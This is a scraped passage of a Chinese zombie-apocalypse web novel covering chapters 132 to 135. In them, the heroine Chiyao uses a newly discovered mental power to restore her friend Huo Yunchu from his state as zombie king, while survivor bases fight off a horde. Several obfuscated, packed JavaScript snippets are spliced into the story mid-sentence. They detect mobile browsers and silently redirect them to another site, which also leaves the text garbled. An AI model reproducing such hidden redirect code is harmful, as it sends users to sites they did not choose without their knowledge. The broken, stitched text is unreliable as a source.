d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16951070|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 值一提的小事,韩厢月实在忍不了,索性直接把流民安置起来,制造出流民已经离开北方基地,不再聚集的假象,高层们这才开始决议丧尸潮的事。 然而,这些事情是无法说给面前的能力者们听的。 “总不能眼睁睁看着他们在外面被丧尸吃掉吧。”思索片刻,他收回目光,随便找了个理由。 “不说这些了,注意警戒。” 能力者们不再说话,神情凝重地盯着远处。 韩厢月闭上眼睛,屏蔽掉耳边嘈杂的心声,放缓呼吸,很快,就感知到了丧尸的方位。 丧尸潮正在迅速接近北方基地,不出一小时,就会抵达北方基地入口处,很快,就会顺着坚固的城墙涌到入口对侧。 届时,恐怕是一场残酷的厮杀。 一身黑衣,与往日截然不同的青年仰起头,目光在虚空中梭巡片刻,抬手盖住了眼睛。 “池遥。” 他轻轻地念出这两个被他翻来覆去咀嚼过太多次的字,深深地叹了口气。 一定要成功啊。 时间紧急,沈观宴选择了前往天山的最短路程,并未经过北方基地,即便如此,池遥还是从车内望见了远处在一片废墟中格外引人注目的高墙。 “以前没注意到,现在才发现,北方基地面积居然有这么大,城外的围墙建得这么高。”她轻轻感叹了一声。 “树大招风。”沈观宴余光瞟了一眼,给出简短的四字评价,“北方基地面积太大,太明显了。到时候丧尸潮的主要目标一定会是这里。” 他说得没错,池遥扭回脸,脑海中回想起了韩厢月,沈观离等人。 尽管只在北方基地待了一天两夜,但这几人都留在北方基地,就让她对北方基地多了几分亲切感。 一路飞速前进,离天山越近,丧尸越多,苏榕不得不再次化身为飞鸟,把对讲机绑在脖子上,飞到高处查看丧尸情况,指引沈观宴避开丧尸。 在苏榕的指引下,只用了两天,天山就近在眼前了。 这一次,由于大多数丧尸组成的丧尸潮大部队已经离开天山,来到天山后的路途反而畅通无阻,车子直接上了盘山公路,几十分钟后,就停在了山腰上。 剩下的路程,要靠三人步行走过去了。 池遥和沈观宴循着记忆里的山洞位置一路向前,遇到丧尸就立刻动手杀死,留在雪山上的丧尸数量减少后,之前见过的几个高等丧尸,以及池遥的高等丧尸同伴们全部消失不见了。 难不成,这些高等丧尸们全部随着丧尸潮离开雪山了吗? 不知道北方基地和饶城基地的人能不能对付他们呢。 池遥一手紧紧握刀,另一只手将冷冻吊坠的链子缠在手腕上,随时准备发动能力。 冷冻道具的作用不能被霍云初察觉出来,因此,离开竞技场后,她一次都没有使用过这个道具,只希望真正来到霍云初面前时,能够一击制敌。 山洞洞口就在眼前,与此同时,一只浑身长满脓包的四阶丧尸,带着浑身恶臭的气息朝他们冲了过来。 “嘭!” 剧烈的爆炸声响起,沈观宴一手制造爆炸,另一只手用力推了一把池遥的肩膀。 “快去吧。” 只有池遥。 只有池遥能救霍云初了。 132. 重返天山2 池遥拉着苏榕头也不回地向前跑去。 她不敢回头看,胸口澎湃的情绪连带着喉咙一起阻塞得难受,一开口就会暴露。 沈观宴很强,他的能力可以适应各种类型的战斗,不会出事的。 可是...... “你放心,他很强。”苏榕在一旁偷瞄她的神色,隔了许久,有些生疏地安慰她。 通往山洞深处的甬道内丧尸不多,池遥不清楚苏榕的战斗能力,索性挡在苏榕身前,全部亲自解决,没过多久,就进入了山洞深处。 比起上一次丧尸之间拥挤成尸潮的密集情况,此时山洞内的丧尸数量并不多,池遥依旧没看到自己的高等丧尸同伴,丧尸王仍旧坐在王座上,见到池遥的身影,似乎并不惊讶,从容地站起身。 它稍微一动,山洞内的所有丧尸就齐齐看向闯入的二人,围了上去。 池遥举起刀,迅速出击,余光瞥见身后的苏榕一脚踹到一只丧尸,动作迅速而纯熟,与池遥想象中截然不同,他的战斗力似乎很强。 “这里交给我!” 一只巨大的尖爪从池遥身后探过来,一爪就扫走池遥面前一片丧尸,为她清出一条前进的道路。 这只爪子无法和池遥记忆中的任何动物相匹配,她并没见到背后动物的全貌,听到苏榕的声音,凝神向前跑去。 身后的吼声与打斗声震耳欲聋,明明一直在她背后,却似乎离她越来越远,池遥抽刀,猛地砍向眼前的丧尸王。 丧尸王面不改色,坚硬的手臂拦截下池遥的刀子,趁机拉近与池遥的距离,迅速反击,动作却突然一滞。 池遥发动了冷冻道具。 毕竟使用对象是丧尸王,她一瞬间发挥了冷冻道具的最大效果,丧尸王周身迅速结出肉眼可见的一层冰霜,它的身体受道具影响,动弹不得。 只有一双透着幽光的红色眼眸,死死盯着她。 看来,冷冻道具起效了。 池遥还没来得庆幸,脑海中陡然一震,仿佛有什么人握着刀子,狠狠剜进了她的脑子,带来一阵凌迟搬的剧痛。 身体几乎失去了掌控力,池遥抱紧脑袋,脱力地蹲在地上,张口剧烈喘气,有丧尸伺机接近,被一只巨爪拍飞。 “池遥!别看它的眼睛!” 苏榕的声音似乎从很遥远的地方传来。 池遥猛地将头扭到另一边,避开丧尸王的视线,才觉得施加于神经之上的疼痛缓和了一点,却仍旧无孔不入,她扶着膝盖,弓着背,剧烈喘息起来,额头上的汗水大颗大颗地砸下来。 在此之前,池遥曾经目睹过遭受到丧尸王精神攻击的韩厢月,这是只有丧尸群体之间才可以实现的攻击方式,她以为自己不会受到这种攻击。 冷冻道具可以冷冻对方的躯体,这种冷冻能力没办法用能力接触,却无法阻止对方使用能力。 霍云初可以抽取异能丧尸的能力据为己有,然而,在池遥印象里,他似乎并没有可以影响精神和意识的能力。 难道是在变成丧尸王之后新发展出的能力吗? 池遥艰难地直起身,尽可能不去看丧尸王的双眼,伸出手,紧紧攥住了对方的手。 “呼......” 她闭上双眼,深深吸了一口气。 慢慢地,将自己的治愈能力输送到对方身上。 即便不与丧尸王对视,也只能略微减轻脑中的痛苦,并不能让自己完全脱离对方的攻击。 池遥一只手攥着丧尸王的手,对方冰冷刺骨的皮肤表面覆盖着一层薄冰,过于寒冷的痛感顺着对方的皮肤传到她脑海中,池遥强打精神,另一只手紧紧按住脑袋,逼迫自己集中注意力。 自己的能力真的会对丧尸王起效吗? 她心中没有确定的答案。 可是,即便闭上眼睛不去看对方,脑部神经仍旧传来尖锐的痛感,池遥不得不分出一缕能力,转而治愈自己。 只是,这一缕能力起初被她引导到自己的头部,即使知道她的大脑没有受到实际损害,还是源源不断地为自己的治疗。 渐渐的,这一小部分能力循着神经的痛感,仿佛触角一般慢慢延伸出去,找到了痛苦的来源,将丧尸王能力的一部分效果阻挡了回去。 源源不断的治愈能力输送进丧尸王的身体,它看起来却毫无变化,只面无表情地盯着池遥看。 池遥深吸一口气,手指微动,慢慢引导自己的能力来到对方的脑部,直接将能力输送进对方的大脑里。 现在的霍云初已经丧失了人的部分,如果矫正他的意识,能否对他产生效果呢? 精准的治疗操作比单纯输送治愈能力更耗费体力,饶是池遥有意节省能力,能力耗尽的疲惫感仍旧吞噬了她。 时间不知过了多久,池遥的身体一软,瘫软在地,手掌仍旧紧握着丧尸王的手。 她找不出办法。 明明在治疗自己的时候,她已经学会用能力抵挡对方的精神攻击,却仍旧无法将同样的作用施加到丧尸王身上。 身体逐渐失去感知力,浑身发冷发麻,治疗能力彻底耗尽。 再坚持一下。 她的能力还没见效,如果此时放手岂不是放弃掉霍云初了吗? 无力的身体再度迸发出最后的力量,她还是没有放开霍云初的手。 沈观宴很快解决山洞外的丧尸,进到山洞里。 苏榕已经用巨兽形态解决了山洞内的大多数普通丧尸,此时恢复了人形,赤手空拳对付最后几个丧尸,他杀死丧尸的手段十分粗暴,直接用有力的手掌捣烂丧尸的脑子掏出晶核,场面十分残暴。 沈观宴立刻想到了初见时优雅骄矜的小猫,那是他对苏榕最大的误解。 进入山洞后,他的能力反而不好施展,只好掏出刀子,继续同剩余的丧尸搏斗。 然而,只剩两只丧尸时,场面突然变了。 在此之前,这几只丧尸即便与他们对战,却仍然受到丧尸王的指挥,因为它们在对战期间会不停找机会袭击池遥,并且也没有发出任何吼声,没有智力的普通丧尸不会放过眼前的人类。 然而,几乎是同时,仅剩的两只丧尸却突然发出了怒吼,不再有所顾忌,直直朝他们冲来。 沈观宴和苏榕一人解决一只丧尸,朝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16961966|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 池遥的方向看去。 不知何时,原本站在丧尸王对面的人已经倒在地上,昏迷不醒,手仍紧紧攥着丧尸王的手。 然而,不久前对于池遥的能力治疗一直表现得无动于衷的丧尸王,此时却闭上了眼睛,被冻结在原地,同样陷入了昏迷。 这是什么情况? 沈观宴与苏榕对视一眼,均从对方的眼中看出了担忧。 “城墙后侧情况如何?” 林北辰一手举到身前扣动扳机,手枪中的子弹精准命中城墙下丧尸的脑子,另一手举着对讲机,冲对面的人冷声问道。 他的能力可以抽空小范围领域内的空气,只对人类有效,对不需要呼吸的丧尸用处不大,因此使用手木仓比使用能力效果更好。 巡查队的能力者们已经在城墙上作战足足两天了,尽管提前分成了两批团队不停换班,可作为巡查队队长的林北辰却无法休息,此时有些头晕眼花,已经是强弩之末了。 源源不断的丧尸从四面八方赶来,如同杀不灭的蛆虫一样密密麻麻地挤在基地外,不停冲击基地大门,甚至还有丧尸爬到前面丧尸的身上,妄图以叠罗汉的方式攀越城墙,幸好巡查队中有能控制风的能力者,用龙卷风将它们驱散。 然而,只要不被打烂脑子取出晶核,无论受多重的伤,丧尸都能继续存活,巡查队们击杀丧尸的速度远远跟不上更多丧尸围挤进来的速度。 不仅如此,数量庞大的丧尸已经足够他头疼了,还有高等丧尸混了进来。 林北辰甩了甩酸痛不堪的手腕,换了只手持枪,对准了游走在丧尸群中,身穿一身运动装的高等丧尸。 “城墙后侧......目前尚在掌控之中!” 一位能力者捧着本该在韩厢月手中的对讲机,激动地喊道。 随着丧尸如同潮水般包围了整个北方基地外围,后侧的能力者们面临着与正面出入口处同样不容小觑的危机,然而此处的能力者们状态明显更好,这群人站在原地,并未使用能力,目光齐齐望向立在最前方的人影。 就在众人身前,韩厢月背对众人站立,身形挺拔,一动不动。 一双完全变成血色的眼眸直直望着面前的丧尸,在他的注视下,原本挤在城墙下,准备攻击的丧尸,全部被他制住,定在原地,一动不动。 高等丧尸具有驱使普通丧尸的能力。 一直以来,韩厢月一直和池遥在一起,很少动用这种能力,此时看上去从容不迫,身体各处却都传来无法自制的疼痛。 脑海中更是痛苦,能力者们的心声与成千上万丧尸的尖啸一同炸开,有几个瞬间,他险些失去意识,彻底变成一只没有人性的丧尸。 丧尸潮原本受到丧尸王的驱使,即使韩厢月是高等丧尸,也无法干涉其他高等丧尸的手下,可丧尸潮此时距离天山实在太远,给了韩厢月与丧尸王争夺控制权的机会。 只是,与丧尸王相比,韩厢月还是太弱了。 他不清楚自己还能坚持多久,一旦自己力竭或者失控,会不会变成第二个霍云初。 池遥在哪里呢? 池遥,能成功吗? 133. 重返天山3 好疼。 好疲惫。 即便已经耗尽能力,陷入晕厥,脑海中尖锐的痛感仍没有消失。 为什么救不了霍云初呢? 为什么自己的治愈能力不能像丧尸王的能力一样,直接作用于对方的精神领域呢? 一片昏沉的黑暗中,池遥无法自控地反复思考。 不对,自己的能力明明已经做到了这一点。 在阻挡丧尸王的精神攻击时,她的能力明明已经能够直接从精神层面上阻截丧尸王的攻击了。 那到底为什么,自己的能力还是无法进入丧尸王的意识呢? 她百思不得其解。 脑海中的疑惑越来越多,仿佛有无数嘈杂的声音,反复诘问她为什么做不到。 难道真的要眼睁睁地看着霍云初彻底失去本性,变成丧尸王吗? 如果霍云初真的无法恢复,她的高等伙伴们受霍云初的影响,也会变成毫无自主意识的丧尸。 北方基地和饶城基地会继续被不停前进的丧尸潮袭击,H国北部的幸存者也将失去最后的家园。 不对。 这绝对不是她想看到的结果。 然而,池遥却想不出任何解决的办法。 她只盲目相信自己的能力能够对丧尸王产生效果,能够将霍云初救出来,却忽略了另一个办法。 从发现丧尸王是霍云初本人后,众人一直拒绝提起的另一个办法。 杀掉霍云初。 这是能够阻止丧尸潮的唯一办法。 可是,霍云初是池遥来到这个世界后遇到的第一个伙伴,同时,他也是韩厢月等高等丧尸的救命恩人,也是沈观宴,沈观离,林北辰等人的儿时好友。 没有人真的希望杀死他。 那么,该怎么让自己的治愈能力深入丧尸王的意识中,找出霍云初本人的意识呢? 脑海中的问题无限延伸,最终又回到了原点。 池遥努力平复焦躁的心情,反复回想自己当时阻挡丧尸王攻击的瞬间。 那个时候她头痛欲裂,大部分注意力都放在输送到霍云初身上的能力之上,而那一小部分用于治疗自己的能力,她其实并未注意。 而此时再重新回想起来,她不由地有些动摇。 那时,主动阻拦丧尸王精神攻击的,真的是自己的治愈能力吗? 思绪追溯到再早些时候,池遥回想起另一件超出自己预想的事。 在花城研究中心最底层,自己隔着玻璃柜想要触碰里面的冷冻道具时,发生了一件奇怪的事情。 靳南希用能力造成的丝线是无法被肉眼看到,也无法触碰的透明无形丝线,正因如此,在刚来到研究中心底层时,池遥和苏榕都没有注意到道具的异状。 但是,池遥还记得,在自己的手碰到玻璃柜时,她习惯性发动了能力,能力透过玻璃柜向内逸散,接触到道具,她才借此看到了连接着道具的丝线。 当时没来得及回想这些事,此时回想起来,却发现十分异常。 池遥十分确定,自己能力只能通过皮肤接触发动,不可能会隔着玻璃柜,隔空作用到其他事物之上。 那么,当时随着她的意识一同飘到道具上,令她看到丝线的,究竟是什么? 某种可能性呼之欲出。 除了自身的特殊能力之外的其他力量,还能是什么? 想清楚这一点,池遥回想当时的感觉,再度尝试着发动了那种能力。 她似乎找到了治愈霍云初的关键。 这一次,“能力”却没有从她的掌心发动,而是从她的脑海当中,直接伸出一根无形的触角,轻柔地将丧尸王施加在她脑海中的所有攻击抵挡了回去。 这是什么? 一瞬间,透过那无形的触角,池遥似乎感知到了周围的一切。 明明她还处于晕厥之中,视野一片昏黑,但却仿佛跟随着这一根探出脑海之外的触角,听到了周围的声音,看到了周围的景物。 她看到苏榕和沈观宴守在她身旁,一脸担忧。 也听到了两人刻意压低的交谈声。 不过,这根代替她的意识飘出体外的无形触角,究竟是什么东西? 心神一动,触角的形状渐渐变了,变成一根透明的丝线,一只无形的大手,一面薄薄的屏障,随池遥的心念而动。 最后,池遥看到了被冻结在原地的丧尸王,它被冻结在原地,垂着脑袋,不知何时,也陷入了昏迷,手仍旧被她死死握住。 受池遥意识牵引的透明细丝围绕着丧尸王打转,离它的脸越来越近,最终,轻轻触碰了一下丧尸王的额头。 池遥以为自己会感受到丧尸皮肤冰冷的触感,但她想错了,这根由她的意识凝聚而成的,微弱的细丝直接穿过了丧尸王的头,毕竟是一根没有实体的细丝,无法真正接触到实物。 然而,在穿过丧尸王身体的瞬间,不知为何,这根细丝却突然回到了池遥脑海中。 这一次,昏迷的意识世界不再是一片漆黑,归来的细丝化作一颗星星,悬在了池遥的意识当中。 发生了什么? 突然失去了外部视角,仍旧陷入昏迷的池遥忽然就很想知道外面的情况。 她想睁开眼睛,身体却毫无力气,治愈能力耗尽后,她连简单的抬动眼皮的动作都无法完成。 不由自主地,她立刻发动抽取生机能力,通过和丧尸王紧紧相连的手,抽取了对方一部分生命力。 从外部涌入体内的生命力十分温暖,这些暖流涌向四肢百骸,填补进她的身体,池遥强行提起的微弱意识再度被巨大的疲惫感淹没。 不知过了多久,她睁开眼。 一恢复意识,池遥就立刻察觉到了自己的异常,自己明明是因为治愈能力耗尽而昏迷,昏迷后只抽取了一点丧尸王的生命力填补自身,可这一次醒来后,她却感到浑身精力充沛,掌心之下的治愈能力完全恢复了,几乎要满溢出来。 这是怎么回事? 这种异状,让池遥想起了二次觉醒的那一天。 她一睁开眼睛,守在身边的两人就立刻看了过来。 “你还好吗?”沈观宴问,另一边的苏榕虽然没开口,但也一直盯着她看。 “没事,我现在已经恢复了。”池遥摇摇头,站起身。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16967248|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 对面的丧尸王仍旧闭着眼睛,并没有要醒过来的征兆,她的治愈能力或许已经对他起作用了。 池遥闭上眼,想循着以前的经验,在脑海中搜寻能力介绍,然而,猝不及防的,脑海里却出现了一片星空。 一片漆黑,黯淡,只有一颗星星的星空。 池遥顾不上惊讶,找到脑海中的能力介绍。 【加速治愈:能够加快人体本身伤口自动愈合的速度,但要消耗自身或者存储的生机。】 自己的治愈能力没有发生变化,池遥并不意外。 【抽取生机:能够通过接触抽取其他生物的生机存储使用,但一次最多只能存两个个体的生机。注:存储时间为12小时。】 抽取生机能力发生了微小的突破,这一次,池遥可以存储两个人的生命力了。 在两条能力之下,出现了第三条能力。 池遥凝神看去。 【精神锚点:能够通过精神力接触在脑海中建立一个锚点,锚点在则人在,锚点消失则人死。】 原来如此,那么,意识星空之中的那颗星星,就是自己建立的锚点吗? 她这才仔细观察这唯一一颗星星,星星之下坠着一个名字。 霍云初。 看来,她在昏迷时开发的新能力就是所谓的精神力,因为自己昏迷时用精神力接触了霍云初,因此脑海的星空中才出现了名为霍云初的星星。 池遥睁开眼,侧头看了一眼自己的两位同伴,再次闭上眼,艰难地探出一根精神力细丝。 与昏迷时不同,此时池遥能力充足,几次发动精神力时都错误发动了治愈能力,失败数次,才勉强伸出一根颤颤巍巍的丝线,各碰了沈观宴和苏榕两下。 很快,孤单的霍云初星星周围,就出现了名为沈观宴和苏榕的两颗星星,或许是因为二人是能力者,这两颗星星发出的光芒明显更加耀眼。 有了这些星星在,即便自己未来与伙伴们分开,也能通过星空确认他们是否存活。 等到未来找到曲卓,她一定要让曲卓也在自己的星空登个记。 美好的畅享只进行了不到十秒,池遥就将自己的思绪拉回现实。 “我晕过去多久了?”她问沈观宴。 “大概三四个小时,放心,时间不是很长。”沈观宴安慰她。 池遥这才在心中松了一口气。 “池遥,丧尸王昏迷之后,天山的所有丧尸都失去了控制,我怀疑丧尸潮也是如此。”沈观宴开口道。 一旦失去丧尸王的控制,还在行进过程中的丧尸们就会失去目的地,在原地打转。 然而,已经到达目的地,围攻基地的丧尸却并不会因此而放弃攻击,失去丧尸王的控制,变回毫无人性,只遵循食欲的怪物,基地可能会迎来更加猛烈的反扑。 北方基地的面积太大了,极为明显,很有可能会成为北部所有丧尸的目标。 还是要尽快让霍云初恢复正常才行。 池遥看向对面双眼紧闭的丧尸王,闭上眼睛,再次用精神力丝线,穿透了对方的大脑。 这次,她已经找到治愈霍云初的办法了。 134. 重返天山4 “池遥,照顾好自己,别总让自己受伤。” 这是霍云初留给池遥的最后一句话。 微弱的精神力涌入丧尸王的意识之中,费力搜寻。 在一处角落,池遥听到了属于霍云初的声音。 精神力细丝颤颤巍巍地朝着声源处钻去。 池遥将全部注意力凝结在那一缕微弱的精神力之上,透过精神力,看到了站在霍云初面前的自己。 她这才意识到,自己的精神力侵入了霍云初的记忆。 这么想着,她不由地握紧了丧尸王的手,缓慢放出手掌之下的治愈能力,沿着放出的精神力细丝,柔和的暖流缓慢地流淌进对方的意识深处。 霍云初钻进车子,驾车离开,一路风平浪静。 身为高等丧尸,他不需要休息,一旦脱离人类群体,就不再需要伪装。他将车子搁置在一旁,深吸一口气,身形迅疾如一道闪电,飞速穿越在通往天山的街道上。 池遥等人即便驾车也需要几天时间的天山路程,霍云初不过一小时就赶到了。 视野范围之内,聚集在天山的丧尸数量越来越多,霍云初不得不放慢了速度,从众多丧尸之间穿行而过,步行来到了天山顶上。 他隐隐感觉到,山顶有一个格外强大的存在,实力与他不相上下,正是盲眼婆婆口中所描述的“丧尸王”。 不仅是他,对方一定也感受到了他的到来,同样为即将发生的对战感到兴奋,跃跃欲试。 行至半山腰,霍云初坐在山间的长椅上,深深地叹了口长气。 变成高等丧尸以来,他还从未遇到过与他的实力相匹敌的对手,浑身的丧尸细胞叫嚣着要杀死对方,可这一次,他却很难断定自己的胜算。 他习惯了事事都在自己的掌控之内,第一次遇到如此棘手的情况,心中少有地产生了几分怯意。 然而,想到盲眼婆婆的预言,想到未来可能会发生的丧尸潮。 无论是为了自己,还是为了其他人,他都不能在此退缩。 无论付出什么代价,都要杀死天山的丧尸王,成为新的丧尸王。 在长椅上坐了十分钟,霍云初再次站起身,继续朝山顶进发。 天山最高处,他见到了当时的丧尸王。 这位盘踞于天山山顶,召集众多丧尸,准备发动丧尸潮的丧尸王,是一位精神错乱,神志癫狂的高等丧尸。 这只高等丧尸的能力,是霍云初对付过众多能力者和丧尸以来,见过最棘手的一个。 这只高等丧尸的能力是精神攻击。 霍云初从未经历过如此艰难的打斗,饶是他用尽了自己抽取的所有能力,也敌不过直接作用于精神层面的攻击,大脑中一阵接一阵的锐痛让他险些无法集中注意力,几次被对方直击要害。 幸好高等丧尸的体质极为强悍,他强撑着一口气,意识仿佛被一柄锐器反复搅弄,逐渐变得模糊,错乱。 日升日落,斗转星移,两只高等丧尸的战斗不死不休,足足进行了五天五夜。 持续不断的精神攻击彻底搅乱了霍云初的脑子,起初,他只是濒临失控,几度丧失理智,完全凭借本能战斗。 然而,随着身上的伤痕越来越多,混乱的意识渐渐泯灭,属于丧尸的一面占据了上风。 属于人类的一切逐渐随着神经剧痛从脑海中流逝,他忘记了过去的伙伴,忘掉了曾经身为人类的一切经历,连自己的名字都忘记了。 只有要赢过丧尸王的意志苦苦撑着,让他无数次从愈发强烈的精神攻击中找回身体控制权,强拖着伤痕累累的身体发起攻击。 而对面的高等丧尸虽然始终占据上风,但身上也同样伤痕累累,霍云初的攻击起到了作用。 最终,近乎将整个脑袋生生撕开的剧痛让霍云初双腿一软,跪倒在地,挣扎了许久,也没有力气站起身来。 这场战斗已经来到了尾声。 丧尸王嗤笑一声,来到霍云初面前,试图给他最后一击,却被一只皮肉剥落,只剩骨架的手死死抓住了。 丧失理智的霍云初彻底沦为了一只为了生存不择手段的丧尸,此时,它发动了最后的反扑。 它试图将精神控制能力从丧尸王的身体里生生抽离出来。 丧尸王顿时慌了神,垂死之际,比从前更加猛烈的精神攻击传入霍云初脑中。 将他凝聚起来的意志反复打碎,生生打散所有思想,记忆,感情......这具身躯内所有属于人的部分彻底泯灭,再也无法恢复。 只剩下对生的本能,让霍云初用只剩白骨的手死死按住对方的身体,用重伤濒死的身躯承载了危险的精神攻击能力。 第六天清晨。 跃上天山的第一缕阳光照在山顶上,照亮了倒在地上的丧尸王尸体。 与伫立在山顶的新任丧尸王漠然的脸。 即便夺走了敌人的精神控制能力,霍云初也再也找不回自己的情感了。 眼睛变得赤红,皮肤逐渐苍白绷紧,如同裹尸袋一样挂在骨架上。 身体无时无刻不被饥饿感所掌控。 他彻底变成了与过去的“霍云初”迥异的存在。 就这样,成为新任丧尸王的霍云初没有改变前任丧尸王的计划,仍旧发动了丧尸潮。 然而,就在丧尸潮准备完成的几天前,天山上闯入了几位入侵者。 这些入侵者当中,除了人类之外,还有几个继承他血脉的高等丧尸。 新任丧尸王本该杀死他们,让他们有去无回。 然而,池遥误打误撞输送进他身体里的治疗能力,却让他本来已经彻底消散的记忆再次在脑海中生根发芽。 只是,他被精神攻击导致陷入混乱的意识无法自行搜寻到脑海中的记忆,因此,无论池遥付出多少治愈能力,都无法对他产生直接效果。 只要借由精神力丝线,治愈他破损的意识,到那时,霍云初自然会想起所有记忆。 由于长时间使用精神力,池遥脸色有些发白,身体摇摇欲坠,险些再度倒下。 守在身边的苏榕向前一步,让她的身体倚在自己身上。 很快,池遥睁开眼睛,松了口气。 眼神中闪烁着兴奋的笑意。 接着,她松开一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16972388|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 直紧握霍云初的手,举起手中的冷冻道具,盯着面前的霍云初。 “成功了!” 几分钟后,仍被冻结住的丧尸王缓慢地睁开了眼睛。 瞳孔依旧是一片渗人的血色,然而,当目光落在对面的池遥和沈观宴身上之时,却陡然柔软了下来,恢复了他们熟悉的模样。 池遥这才松了一口气,操纵道具解除了对方的冻结状态。 “我回来了。” 霍云初色泽陌生的眼睛反复打量着许久未见的池遥和霍云初,逐渐漫上了一层柔和的笑意,那种笑意越扩越大。 成为丧尸王之后的记忆并未消失,他清楚记得他杀死的每一个人,每一只丧尸,面前的两个人做的桩桩件件,他都看在眼里。 然而,除却心头涌上的罪恶感与歉疚感,此时见到池遥与霍云初二人,霍云初最想说的却是这句话。 “让你们久等了。” 池遥鼻子一酸,没有掉泪,喉咙却有些哽咽了。 这场丧尸潮,终于要结束了。 与面积庞大,目标明显的北方基地不同,饶城基地有空间道具的加持,对抗丧尸的压力小了很多,只需要把守住基地入口处,不让丧尸进入,就能平安熬过这场丧尸潮。 饶城基地所有有战斗能力的幸存者们全部守在入口处,摆出破釜沉舟的架势,对抗源源不断的丧尸。 身形高大的幸存者当中,夹杂着一个娇小瘦弱的身影。 心悦握紧了手中的刀,目光沉着地盯着不远处与幸存者缠斗在一起的丧尸,抓住机会一个箭步上前,捣碎了丧尸的脑子。 距离池遥和卢淼等人离开前往天山已经接近一个月了。 然而,她仍旧没有收到任何消息,不知道池遥目前的情况如何,也没有接到陈霄的联系,连饶城基地的建立者沈观宴都不知所踪。 池遥等人前往天山的前一天,心悦曾经主动找到卢淼和池遥,请求让他们带上自己一同前往。 然而,心悦终究只是一个普通人,又没有经受过专业的格斗训练,最终还是被留在了饶城基地。 这些天以来,心悦一直在饶城基地内锻炼身体,到处请教各种能力者,这次丧尸潮来袭,她也主动请缨,驻守在入口处,为饶城基地添一份力。 她深知自己的实力难以独自对付丧尸,因此从不主动出击,一直游走在后方,抓住机会协助其他幸存者杀死丧尸。 这一次,她一定要帮上忙! 如此想着,心悦咬紧牙关,握紧了手里的刀,另一只手探进外套口袋,摸到了一个小瓶子。 这个瓶子是池遥给她的最后保障,里面装着霍云初的鲜血。 如果真的到了不得已的情况,即便变成高等丧尸,她也要守住饶城基地。 想到这里,心悦重新抬起头,目光在周围与丧尸打斗的同伴之间梭巡,寻找着下一个目标。 突然,余光瞥见一个熟悉的影子。 感受到了熟悉的目光,心悦骤然扭过头去。 距离她不远处,一个浑身鲜血的高等丧尸,正面无表情地盯着她。 是卢淼。 135. 重返天山5 “哥,你还在睡觉吗?” 这是心悦的哥哥试药归来后的第二天。 与卢淼相同,心悦同样是第一批来到隐山的幸存者,她和父母失散,只有比自己大十岁的哥哥陪在身边。 试药能抵半年房租的新规发行后,心悦的哥哥主动申请成为志愿者前去试药,一个月后的晚上,才被研究院的人送了回来。 可是,哥哥却仿佛变了一个人一样,神色恍惚,无论心悦说什么话都不做任何回应。 送哥哥回来的研究员说过一段时间就好了,心悦无奈,只能寄希望于时间。 她和哥哥年龄差太大,关系并不算亲密,又习惯了被对方照顾,面对如游魂一般的哥哥,只能硬着头皮将对方塞进被子里,只希望第二天醒来时能看到一个熟悉的哥哥。 然而,心悦连续叫了几声,房间里却没有任何声音。 “哥?” 心里纳闷,心悦快步走向里面的房间,破旧平房的房间与房间之间没有东西格挡,他们挂了一条帘子作为遮挡。 然而,就在她来到帘子前时,一只手突然从帘子下探出来,死死扣住了她的肩膀。 哥哥就站在房门口。 透过薄薄的衣料,心悦能清晰感受到,那只手带着正常人类不会有的冰冷温度,力道很大,捏得她的骨头都要碎了。 “你干什么?” 微妙的恐惧感涌上心头,但心悦很快就用力晃晃脑袋。 这可是她的亲哥哥,不可能会害她。 她一只手揪着哥哥的手臂,另一只手一把拉开隔在二人之间的门帘,怒气冲冲地抬头看他。 然而,对上的却是一双朦胧,混乱,蒙着一层白色眼翳,令人心生畏惧的双眸。 不像是普通人类会有的眼睛,反而像极了她曾经在隐山外见过的丧尸。 心悦一把放开哥哥的手臂,挣扎着后退了一步,没挣脱肩上的手,反而带动着前面的人向前一步,更靠近她了一点。 呼吸一窒,心悦狠狠将面前的人推开,扭头就跑,耳边传来对方被她推倒的声音,她畏缩地扭头看了一眼,身后的哥哥倒在地上,动也不动,双眼仍然盯着她,如同一个披着哥哥躯壳的怪物。 她再也顾不上任何事了,一把推开大门,跑出家门外,才松了口气。 “啊!这位小姐,您的家人是不是也参与了试药?” 